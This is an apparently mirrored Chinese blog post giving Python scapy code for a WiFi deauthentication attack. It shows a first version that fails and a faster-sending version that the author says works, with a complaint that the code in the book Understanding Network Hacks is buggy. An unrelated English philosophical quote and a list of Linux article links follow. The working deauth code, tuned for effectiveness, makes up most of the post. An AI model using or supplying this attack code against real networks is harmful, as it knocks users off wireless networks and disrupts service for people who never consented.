zoukankan      html  css  js  c++  java
  • scapy WiFi deauth攻击

    成功的关键在于:发送deauth包的速度要快。
    实测这样的代码是行不通的:

    pkt = RadioTap() / 
    Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / 
    Dot11Deauth(reason=3)
    
    timeout=1
    while True:
        sendp(pkt, iface=iface)
        time.sleep(timeout)
    

    得这样:

    pkt = RadioTap() / 
    Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / 
    Dot11Deauth(reason=3)
    
    timeout=1
    while True:
        sendp(pkt, iface=iface, inter=0.05, count=5) # 这样就足够快了
        time.sleep(timeout) # 这个延时个人觉得没啥存在意义,可略
    

    PS:我觉得 Understanding Network Hacks里的代码都是没有调试过的,坑好多。。

    Those who seek some sort of a higher purpose or 'universal goal', who don't know what to live for, who moan that they must 'find themselves'. You hear it all around us. That seems to be theofficial bromide of our century. Every book you open. Every drooling self-confession. It seems to be the noble thing to confess. I'd think it would be the most shameful one.
  • 相关阅读:
    linux_进程管理
    Linux-日志管理
    Httpd
    Linux-源码安装包管理
    Linux-计划任务管理
    Linux-LVM管理
    Linux-系统磁盘管理
    Linux-yum工具的使用
    Linux-rpm包管理
    Linux-网络进阶管理
  • 原文地址:https://www.cnblogs.com/spenghui/p/7765818.html
Copyright © 2011-2022 走看看